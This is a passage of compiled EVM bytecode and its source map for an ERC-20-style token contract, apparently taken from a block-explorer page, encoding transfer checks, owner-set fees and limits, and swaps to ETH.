050565b600081848411156119625760405162461bcd60e51b8152600401610b78919061250c565b50600061196f8486612860565b95945050505050565b60235460009060ff16156119985761199184848461186a565b905061100e565b6001600160a01b03841660009081526001602052604090205460ff161580156119da57506001600160a01b03831660009081526001602052604090205460ff16155b15611a2f57602154600160a01b900460ff16611a2f5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610b78565b600a5460ff1615611a8e576001600160a01b0384166000908152600b602052604090205460ff1615611a8e5760405162461bcd60e51b81526020600482015260086024820152671cdb9a5c195c995960c21b6044820152606401610b78565b6001600160a01b03841660009081526001602052604090205460ff16158015611ac057506001600160a01b0383163014155b8015611ada57506003546001600160a01b03848116911614155b8015611af457506021546001600160a01b03848116911614155b8015611b0e5750601c546001600160a01b03848116911614155b8015611b3357506001600160a01b0383166000908152600f602052604090205460ff16155b15611bd4576001600160a01b038316600090815260086020526040902054600754611b5e8483612877565b1115611bd25760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e00006064820152608401610b78565b505b611bde8483611e0a565b611be6611e77565b15611bf357611bf3611ecd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260089091529190912054611c4591849061193e565b6001600160a01b038516600090815260086020908152604080832093909355600e90529081205460ff16151580611c9657506001600160a01b0384166000908152600e602052604090205460ff1615155b611cbe57602154611cb990869085906001600160a01b03888116911614876122b4565b611cc0565b825b6001600160a01b038516600090815260086020526040902054909150611ce69082611d7d565b6001600160a01b03808616600081815260086020526040908190209390935591519087169060008051602061292f83398151915290611d289085815260200190565b60405180910390a3506001949350505050565b600061100e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193e565b600080611d8a8385612877565b90508381101561100e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b78565b60008183611dfd5760405162461bcd60e51b8152600401610b78919061250c565b50600061196f8486612821565b60065481111580611e3357506001600160a01b0382166000908152600f602052604090205460ff165b611e735760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610b78565b5050565b6021546000906001600160a01b03163314801590611e98575060235460ff16155b8015611ead5750602154600160a81b900460ff165b801561106257505060225430600090815260086020526040902054101590565b6023805460ff19166001179055601d54601e54600091611eec91610e1e565b611ef857601054611efb565b60005b90506000611f1f6002610d76601554610d76866022546117a690919063ffffffff16565b90506000611f3882602254611d3b90919063ffffffff16565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611f7257611f7261277f565b6001600160a01b039283166020918202929092010152600254825191169082906001908110611fa357611fa361277f565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b81524792919091169063791ac94790611fed90869060009087903090429060040161288f565b600060405180830381600087803b15801561200757600080fd5b505af115801561201b573d6000803e3d6000fd5b5050505060006120348247611d3b90919063ffffffff16565b9050600061204f612046886002611828565b60155490611d3b565b905060006120646002610d768481878d6117a6565b9050600061208183610d76601154876117a690919063ffffffff16565b9050600061209e84610d76601354886117a690919063ffffffff16565b905060006120bb85610d76601254896117a690919063ffffffff16565b6019546040519192506000916001600160a01b039091169085908381818185875af1925050503d806000811461210d576040519150601f19603f3d011682016040523d82523d6000602084013e612112565b606091505b5050601a546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114612162576040519150601f19603f3d011682016040523d82523d6000602084013e612167565b606091505b5050601b546040519192506001600160a01b0316908490600081818185875af1925050503d80600081146121b7576040519150601f19603f3d011682016040523d82523d6000602084013e6121bc565b606091505b5060009250508b15905061229c57601f5460185460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c40160606040518083038185885af115801561223a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061225f9190612900565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506023805460ff1916905550505050505050505050565b600080836122c35760646122c7565b6017545b600c5490915060ff1680156122f557506001600160a01b0383166000908152600d602052604090205460ff16155b80156122ff575083155b1561230957506107085b6000612336601654606461231d9190612802565b610d768461159c6015548b6117a690919063ffffffff16565b90506000612355601554610d76601454856117a690919063ffffffff16565b905060006123638383611d3b565b306000908152600860205260409020549091506123809082611d7d565b3060009081526008602052604080822092909255601c546001600160a01b0316815220546123ae9083611d7d565b601c546001600160a01b0390811660009081526008602090815260409182902093909355518381523092918c169160008051602061292f833981519152910160405180910390a3811561242f57601c546040518381526001600160a01b03918216918b169060008051602061292f8339815191529060200160405180910390a35b6124398884611d3b565b9998505050505050505050565b6001600160a01b038116811461151457600080fd5b60006020828403121561246d57600080fd5b813561100e81612446565b801515811461151457600080fd5b60008060006040848603121561249b57600080fd5b833567ffffffffffffffff808211156124b357600080fd5b818601915086601f8301126124c757600080fd5b8135818111156124d657600080fd5b8760208260051b85010111156124eb57600080fd5b6020928301955093505084013561250181612478565b809150509250925092565b600060208083528351808285015260005b818110156125395785810183015185820160400152820161251d565b8181111561254b576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561257457600080fd5b823561257f81612446565b946020939093013593505050565b60006020828403121561259f57600080fd5b5035919050565b600080604083850312156125b957600080fd5b50508035926020909101359150565b600080600080600060a086880312156125e057600080fd5b85356125eb81612446565b945060208601356125fb81612446565b9350604086013561260b81612446565b9250606086013561261b81612446565b9150608086013561262b81612446565b809150509295509295909350565b60008060006060848603121561264e57600080fd5b833561265981612446565b9250602084013561266981612446565b929592945050506040919091013590565b6000806040838503121561268d57600080fd5b823561269881612446565b915060208301356126a881612478565b809150509250929050565b60008060008060008060c087890312156126cc57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60006020828403121561270857600080fd5b813561100e81612478565b6000806040838503121561272657600080fd5b823561273181612446565b915060208301356126a881612446565b6000806040838503121561275457600080fd5b823561257f81612478565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016127bd576127bd612795565b5060010190565b6000602082840312156127d657600080fd5b5051919050565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b600081600019048311821515161561281c5761281c612795565b500290565b60008261283e57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561285557600080fd5b815161100e81612478565b60008282101561287257612872612795565b500390565b6000821982111561288a5761288a612795565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128df5784516001600160a01b0316835293830193918301916001016128ba565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561291557600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202086cf325d19eb562dd3a5a7a3b28532d2230f81c08fa66168fdf6e7a9fb34c364736f6c634300080d0033

Deployed Bytecode Sourcemap

4781:14659:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6589:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6589:54:0;;;;;;;;5489:43;;;;;;;;;;-1:-1:-1;5489:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;749:14:1;;742:22;724:41;;712:2;697:18;5489:43:0;584:187:1;16517:204:0;;;;;;;;;;-1:-1:-1;16517:204:0;;;;;:::i;:::-;;:::i;:::-;;8132:80;;;;;;;;;;-1:-1:-1;8204:5:0;;;;;;;;;;;;-1:-1:-1;;;8204:5:0;;;;8132:80;;;;;;;:::i;6508:31::-;;;;;;;;;;-1:-1:-1;6508:31:0;;;;-1:-1:-1;;;6508:31:0;;;;;;8554:216;;;;;;;;;;-1:-1:-1;8554:216:0;;;;;:::i;:::-;;:::i;18876:494::-;;;;;;;;;;-1:-1:-1;18876:494:0;;;;;:::i;:::-;;:::i;18716:150::-;;;;;;;;;;-1:-1:-1;18716:150:0;;;;;:::i;:::-;;:::i;6028:36::-;;;;;;;;;;;;;;;;7862:88;;;;;;;;;;-1:-1:-1;7935:12:0;;7862:88;;17577:447;;;;;;;;;;-1:-1:-1;17577:447:0;;;;;:::i;:::-;;:::i;13323:208::-;;;;;;;;;;-1:-1:-1;13323:208:0;;;;;:::i;:::-;;:::i;5929:92::-;;;;;;;;;;;;;;;;18196:183;;;;;;;;;;-1:-1:-1;18196:183:0;;;;;:::i;:::-;;:::i;9072:370::-;;;;;;;;;;-1:-1:-1;9072:370:0;;;;;:::i;:::-;;:::i;18391:142::-;;;;;;;;;;;;;:::i;2789:103::-;;;;;;;;;;-1:-1:-1;2789:103:0;;;;;:::i;:::-;2844:4;2879:5;-1:-1:-1;;;;;2868:16:0;;;2879:5;;2868:16;;2789:103;7956:80;;;;;;;;;;-1:-1:-1;7956:80:0;;5122:1;4435:36:1;;4423:2;4408:18;7956:80:0;4293:184:1;5846:34:0;;;;;;;;;;;;;;;;9721:227;;;;;;;;;;-1:-1:-1;9721:227:0;;;;;:::i;:::-;;:::i;8778:122::-;;;;;;;;;;-1:-1:-1;8778:122:0;;;;;:::i;:::-;;:::i;16729:120::-;;;;;;;;;;-1:-1:-1;16729:120:0;;;;;:::i;:::-;;:::i;5805:34::-;;;;;;;;;;;;;;;;5764;;;;;;;;;;;;;;;;6552:30;;;;;;;;;;-1:-1:-1;6552:30:0;;;;-1:-1:-1;;;6552:30:0;;;;;;5577:43;;;;;;;;;;-1:-1:-1;5577:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8302:105;;;;;;;;;;-1:-1:-1;8302:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;8386:18:0;8368:7;8386:18;;;:9;:18;;;;;;;8302:105;13687:271;;;;;;;;;;-1:-1:-1;13687:271:0;;;;;:::i;:::-;;:::i;5262:61::-;;;;;;;;;;;;;;;;5453:29;;;;;;;;;;-1:-1:-1;5453:29:0;;;;;;;;5191:58;;;;;;;;;;;;;;;;9454:259;;;;;;;;;;-1:-1:-1;9454:259:0;;;;;:::i;:::-;;:::i;9962:192::-;;;;;;;;;;-1:-1:-1;9962:192:0;;;;;:::i;:::-;;:::i;16993:576::-;;;;;;;;;;-1:-1:-1;16993:576:0;;;;;:::i;:::-;;:::i;8218:78::-;;;;;;;;;;-1:-1:-1;8270:7:0;8288:5;-1:-1:-1;;;;;8288:5:0;8218:78;;;-1:-1:-1;;;;;5561:32:1;;;5543:51;;5531:2;5516:18;8218:78:0;5397:203:1;14126:79:0;;;;;;;;;;;;;:::i;16304:205::-;;;;;;;;;;-1:-1:-1;16304:205:0;;;;;:::i;:::-;;:::i;8042:84::-;;;;;;;;;;-1:-1:-1;8116:7:0;;;;;;;;;;;;-1:-1:-1;;;8116:7:0;;;;8042:84;;5723:34;;;;;;;;;;;;;;;;16100:93;;;;;;;;;;-1:-1:-1;16100:93:0;;;;;:::i;:::-;;:::i;6476:19::-;;;;;;;;;;-1:-1:-1;6476:19:0;;;;-1:-1:-1;;;;;6476:19:0;;;8908:156;;;;;;;;;;-1:-1:-1;8908:156:0;;;;;:::i;:::-;;:::i;5541:29::-;;;;;;;;;;-1:-1:-1;5541:29:0;;;;;;;;13539:140;;;;;;;;;;;;;:::i;2582:94::-;;;;;;;;;;-1:-1:-1;2582:94:0;;;;;:::i;:::-;;:::i;6120:36::-;;;;;;;;;;-1:-1:-1;6120:36:0;;;;-1:-1:-1;;;;;6120:36:0;;;18541:167;;;;;;;;;;-1:-1:-1;18541:167:0;;;;;:::i;:::-;;:::i;8413:133::-;;;;;;;;;;-1:-1:-1;8413:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;8515:19:0;;;8497:7;8515:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8413:133;18032:156;;;;;;;;;;-1:-1:-1;18032:156:0;;;;;:::i;:::-;;:::i;6283:30::-;;;;;;;;;;-1:-1:-1;6283:30:0;;;;-1:-1:-1;;;;;6283:30:0;;;6163:35;;;;;;;;;;-1:-1:-1;6163:35:0;;;;-1:-1:-1;;;;;6163:35:0;;;16201:95;;;;;;;;;;-1:-1:-1;16201:95:0;;;;;:::i;:::-;;:::i;13966:129::-;;;;;;;;;;-1:-1:-1;13966:129:0;;;;;:::i;:::-;;:::i;2684:97::-;;;;;;;;;;-1:-1:-1;2684:97:0;;;;;:::i;:::-;;:::i;3015:173::-;;;;;;;;;;-1:-1:-1;3015:173:0;;;;;:::i;:::-;;:::i;16857:128::-;;;;;;;;;;-1:-1:-1;16857:128:0;;;;;:::i;:::-;;:::i;6406:24::-;;;;;;;;;;-1:-1:-1;6406:24:0;;;;-1:-1:-1;;;;;6406:24:0;;;5888:34;;;;;;;;;;;;;;;;2900:107;;;;;;;;;;-1:-1:-1;2900:107:0;;;;;:::i;:::-;;:::i;6073:37::-;;;;;;;;;;;;;;;;16517:204;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;;;;;;;;;16616:9:::1;16611:103;16627:20:::0;;::::1;16611:103;;;16696:6;16669:10;:24;16680:9;;16690:1;16680:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16669:24:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;16669:24:0;:33;;-1:-1:-1;;16669:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16649:3:::1;::::0;::::1;:::i;:::-;;;16611:103;;;;16517:204:::0;;;:::o;8554:216::-;8658:10;8629:4;8646:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8646:32:0;;;;;;;;;;:41;;;8703:37;8629:4;;8646:32;;8703:37;;;;8681:6;160:25:1;;148:2;133:18;;14:177;8703:37:0;;;;;;;;-1:-1:-1;8758:4:0;8554:216;;;;;:::o;18876:494::-;18951:4;2879:5;;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;18996:4:::1;18975:17;:25;;18967:80;;;::::0;-1:-1:-1;;;18967:80:0;;7984:2:1;18967:80:0::1;::::0;::::1;7966:21:1::0;8023:2;8003:18;;;7996:30;8062:34;8042:18;;;8035:62;-1:-1:-1;;;8113:18:1;;;8106:40;8163:19;;18967:80:0::1;7782:406:1::0;18967:80:0::1;19099:4;::::0;19084:20:::1;::::0;-1:-1:-1;;;19084:20:0;;-1:-1:-1;;;;;19099:4:0;;::::1;19084:20;::::0;::::1;5543:51:1::0;19064:17:0::1;::::0;19084:4:::1;::::0;:14:::1;::::0;5516:18:1;;19084:20:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19064:40:::0;-1:-1:-1;19115:15:0::1;19133:43;19170:5;19133:32;19064:40:::0;19147:17;19133:13:::1;:32::i;:::-;:36:::0;::::1;:43::i;:::-;19115:61:::0;-1:-1:-1;19201:11:0;;19197:136:::1;;19243:4;::::0;19248::::1;::::0;19228:33:::1;::::0;-1:-1:-1;;;;;19243:4:0;;::::1;::::0;19248::::1;19253:7:::0;19228:14:::1;:33::i;:::-;;19276:12;;;;;;;;;-1:-1:-1::0;;;;;19276:12:0::1;-1:-1:-1::0;;;;;19276:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;19317:4:0::1;::::0;18876:494;-1:-1:-1;;;;;;;18876:494:0:o;19197:136::-:1;-1:-1:-1::0;19360:5:0::1;::::0;18876:494;-1:-1:-1;;;18876:494:0:o;18716:150::-;18796:4;18852:6;18820:29;18840:8;18820:19;:29::i;:::-;:38;;18716:150;-1:-1:-1;;;18716:150:0:o;17577:447::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;17776:21:::1;:46:::0;;-1:-1:-1;;;;;;17776:46:0;;::::1;-1:-1:-1::0;;;;;17776:46:0;;::::1;;::::0;;;17833:20:::1;:44:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;17888:14:::1;:32:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;17931:15:::1;:34:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;17976:18:::1;:40:::0;;;;::::1;::::0;::::1;::::0;;;::::1;::::0;;17577:447::o;13323:208::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;13427:21:::1;13467:10;13459:64;13519:3;13488:28;13500:16:::0;13427:21;13488:28:::1;:::i;:::-;:34;;;;:::i;:::-;13459:64;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13396:135;13323:208:::0;:::o;18196:183::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;18294:15:::1;:25:::0;;;;18330:26:::1;:41:::0;18196:183::o;9072:370::-;-1:-1:-1;;;;;9192:19:0;;9172:4;9192:19;;;:11;:19;;;;;;;;9212:10;9192:31;;;;;;;;-1:-1:-1;;9192:52:0;9189:186;;9294:69;;;;;;;;;;;-1:-1:-1;;;9294:69:0;;;;;;;;-1:-1:-1;;;;;9294:19:0;;-1:-1:-1;9294:19:0;;;:11;:19;;;;;9314:10;9294:31;;;;;;;;;;:69;;9330:6;;9294:35;:69::i;:::-;-1:-1:-1;;;;;9260:19:0;;;;;;:11;:19;;;;;;;;9280:10;9260:31;;;;;;;:103;9189:186;9394:40;9408:6;9416:9;9427:6;9394:13;:40::i;:::-;9387:47;;9072:370;;;;;;:::o;18391:142::-;18519:4;;-1:-1:-1;;;;;18519:4:0;18444:7;8386:18;;;:9;:18;;;;;;18471:54;;18498:4;;-1:-1:-1;;;;;18498:4:0;8368:7;8386:18;;;:9;:18;;;;;;18471:33;;:12;;;:16;:33::i;:::-;:37;;:54::i;:::-;18464:61;;18391:142;:::o;9721:227::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;9839:4:::1;9824:12;;:19;;;;:::i;:::-;9808:12;;:35;;9800:44;;;::::0;::::1;;9936:4;9919:12;9904;;:27;;;;:::i;:::-;9903:37;;;;:::i;:::-;9888:12;:52:::0;-1:-1:-1;9721:227:0:o;8778:122::-;8833:4;8857:35;8865:7;-1:-1:-1;;8857:7:0;:35::i;16729:120::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16813:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;16813:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16729:120::o;13687:271::-;13776:4;2879:5;;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;13793:6:::1;13803:1;13793:11:::0;13790:95:::1;;13829:44;::::0;-1:-1:-1;;;13829:44:0;;13867:4:::1;13829:44;::::0;::::1;5543:51:1::0;-1:-1:-1;;;;;13829:29:0;::::1;::::0;::::1;::::0;5516:18:1;;13829:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13820:53;;13790:95;13902:48;::::0;-1:-1:-1;;;13902:48:0;;13931:10:::1;13902:48;::::0;::::1;9291:51:1::0;9358:18;;;9351:34;;;-1:-1:-1;;;;;13902:28:0;::::1;::::0;::::1;::::0;9264:18:1;;13902:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9454:259::-:0;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;9581:4:::1;9566:12;;:19;;;;:::i;:::-;9547:15;;:38;;9539:47;;;::::0;::::1;;9683:4;9664:14;9649:12;;:29;;;;:::i;:::-;9648:39;;;;:::i;:::-;9630:15;:57:::0;-1:-1:-1;9454:259:0:o;9962:192::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;10076:4:::1;10061:12;;:19;;;;:::i;:::-;10045:12;;:35;;10037:44;;;::::0;::::1;;10125:12;:21:::0;9962:192::o;16993:576::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;17168:12:::1;:28:::0;;;17207:10:::1;:24:::0;;;17242:12:::1;:28:::0;;;17281:6:::1;:16:::0;;;17308:7:::1;:18:::0;;;17348:76:::1;17318:8:::0;17348:62:::1;17290:7:::0;17348:62;17257:13;17348:62;17183:13;17220:11;17348:17:::1;:30::i;:::-;:34:::0;::::1;:49::i;:76::-;17337:8;:87:::0;17435:14:::1;:32:::0;;;17497:16:::1;17512:1;17452:15:::0;17497:16:::1;:::i;:::-;17486:8;;:27;17478:68;;;::::0;-1:-1:-1;;;17478:68:0;;9848:2:1;17478:68:0::1;::::0;::::1;9830:21:1::0;9887:2;9867:18;;;9860:30;9926;9906:18;;;9899:58;9974:18;;17478:68:0::1;9646:352:1::0;17478:68:0::1;16993:576:::0;;;;;;:::o;14126:79::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;14179:11:::1;:18:::0;;-1:-1:-1;;;;14179:18:0::1;-1:-1:-1::0;;;14179:18:0::1;::::0;;14126:79::o;16304:205::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;16404:9:::1;16399:103;16415:20:::0;;::::1;16399:103;;;16484:6;16457:10;:24;16468:9;;16478:1;16468:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16457:24:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;16457:24:0;:33;;-1:-1:-1;;16457:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16437:3:::1;::::0;::::1;:::i;:::-;;;16399:103;;16100:93:::0;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;16165:10:::1;:20:::0;;-1:-1:-1;;16165:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16100:93::o;8908:156::-;8988:4;9012:44;9026:10;9038:9;9049:6;9012:13;:44::i;13539:140::-;13595:10;13584:22;;;;:10;:22;;;;;;;;13576:31;;;;;;13618:51;;13626:10;;13647:21;13618:51;;;;;;;;;13647:21;13626:10;13618:51;;;;;;;;;;;;;;;;;;;;;13539:140::o;2582:94::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2642:19:0::1;;::::0;;;2664:4:::1;2642:19;::::0;;;;;;;:26;;-1:-1:-1;;2642:26:0::1;::::0;;::::1;::::0;;2582:94::o;18541:167::-;18609:7;18636:64;18677:22;:20;:22::i;:::-;18659:4;;-1:-1:-1;;;;;18659:4:0;8368:7;8386:18;;;:9;:18;;;;;;18636:36;;18649:22;;18669:1;;18649:15;:19;;:22::i;:::-;18636:8;;:12;:36::i;18032:156::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;18124:11:::1;:22:::0;;;::::1;;-1:-1:-1::0;;;18124:22:0::1;-1:-1:-1::0;;;;18124:22:0;;::::1;::::0;;;::::1;::::0;;;18157:13:::1;:23:::0;18032:156::o;16201:95::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;16266:10:::1;:20:::0;;-1:-1:-1;;16266:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16201:95::o;13966:129::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;14051:14:::1;:28:::0;13966:129::o;2684:97::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2746:19:0::1;2768:5;2746:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;2746:27:0::1;::::0;;2684:97::o;3015:173::-;2844:4;2879:5;-1:-1:-1;;;;;2879:5:0;2441:10;2868:16;2425:38;;;;-1:-1:-1;;;2425:38:0;;;;;;;:::i;:::-;3091:5:::1;:11:::0;;-1:-1:-1;;;;;;3091:11:0::1;-1:-1:-1::0;;;;;3091:11:0;::::1;::::0;;::::1;::::0;;3113:19;;;-1:-1:-1;3113:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;3113:26:0::1;::::0;;::::1;::::0;;;3155:25;;5543:51:1;;;3155:25:0::1;::::0;5516:18:1;3155:25:0::1;;;;;;;3015:173:::0;:::o;16857:128::-;2523:24;2536:10;2523:12;:24::i;:::-;2515:48;;;;-1:-1:-1;;;2515:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16945:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;16945:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16857:128::o;2900:107::-;-1:-1:-1;;;;;2980:19:0;2956:4;2980:19;;;:14;:19;;;;;;;;;2900:107::o;664:250::-;722:7;746:1;751;746:6;742:47;;-1:-1:-1;776:1:0;769:8;;742:47;801:9;813:5;817:1;813;:5;:::i;:::-;801:17;-1:-1:-1;846:1:0;837:5;841:1;801:17;837:5;:::i;:::-;:10;829:56;;;;-1:-1:-1;;;829:56:0;;10421:2:1;829:56:0;;;10403:21:1;10460:2;10440:18;;;10433:30;10499:34;10479:18;;;10472:62;-1:-1:-1;;;10550:18:1;;;10543:31;10591:19;;829:56:0;10219:397:1;920:132:0;978:7;1005:39;1009:1;1012;1005:39;;;;;;;;;;;;;;;;;:3;:39::i;11573:330::-;11703:53;;;;;;;;;;;-1:-1:-1;;;11703:53:0;;;;;;;;-1:-1:-1;;;;;11703:17:0;;11666:4;11703:17;;;:9;:17;;;;;;;:53;;11725:6;;11703:21;:53::i;:::-;-1:-1:-1;;;;;11683:17:0;;;;;;;:9;:17;;;;;;:73;;;;11790:20;;;;;;;:32;;11815:6;11790:24;:32::i;:::-;-1:-1:-1;;;;;11767:20:0;;;;;;;:9;:20;;;;;;;:55;;;;11838:35;;;;;;-1:-1:-1;;;;;;;;;;;11838:35:0;;;11866:6;160:25:1;;148:2;133:18;;14:177;11838:35:0;;;;;;;;-1:-1:-1;11891:4:0;11573:330;;;;;:::o;466:192::-;552:7;588:12;580:6;;;;572:29;;;;-1:-1:-1;;;572:29:0;;;;;;;;:::i;:::-;-1:-1:-1;612:9:0;624:5;628:1;624;:5;:::i;:::-;612:17;466:192;-1:-1:-1;;;;;466:192:0:o;10162:1399::-;10274:6;;10254:4;;10274:6;;10271:63;;;10290:41;10305:6;10313:9;10324:6;10290:14;:41::i;:::-;10283:48;;;;10271:63;-1:-1:-1;;;;;10350:22:0;;;;;;:14;:22;;;;;;;;10349:23;:53;;;;-1:-1:-1;;;;;;10377:25:0;;;;;;:14;:25;;;;;;;;10376:26;10349:53;10346:129;;;10426:11;;-1:-1:-1;;;10426:11:0;;;;10418:43;;;;-1:-1:-1;;;10418:43:0;;10953:2:1;10418:43:0;;;10935:21:1;10992:2;10972:18;;;10965:30;-1:-1:-1;;;11011:18:1;;;11004:50;11071:18;;10418:43:0;10751:344:1;10418:43:0;10524:10;;;;10521:84;;;-1:-1:-1;;;;;10559:18:0;;;;;;:10;:18;;;;;;;;10558:19;10550:39;;;;-1:-1:-1;;;10550:39:0;;11302:2:1;10550:39:0;;;11284:21:1;11341:1;11321:18;;;11314:29;-1:-1:-1;;;11359:18:1;;;11352:38;11407:18;;10550:39:0;11100:331:1;10550:39:0;-1:-1:-1;;;;;10622:22:0;;;;;;:14;:22;;;;;;;;10621:23;:53;;;;-1:-1:-1;;;;;;10648:26:0;;10669:4;10648:26;;10621:53;:84;;;;-1:-1:-1;10700:4:0;;-1:-1:-1;;;;;10679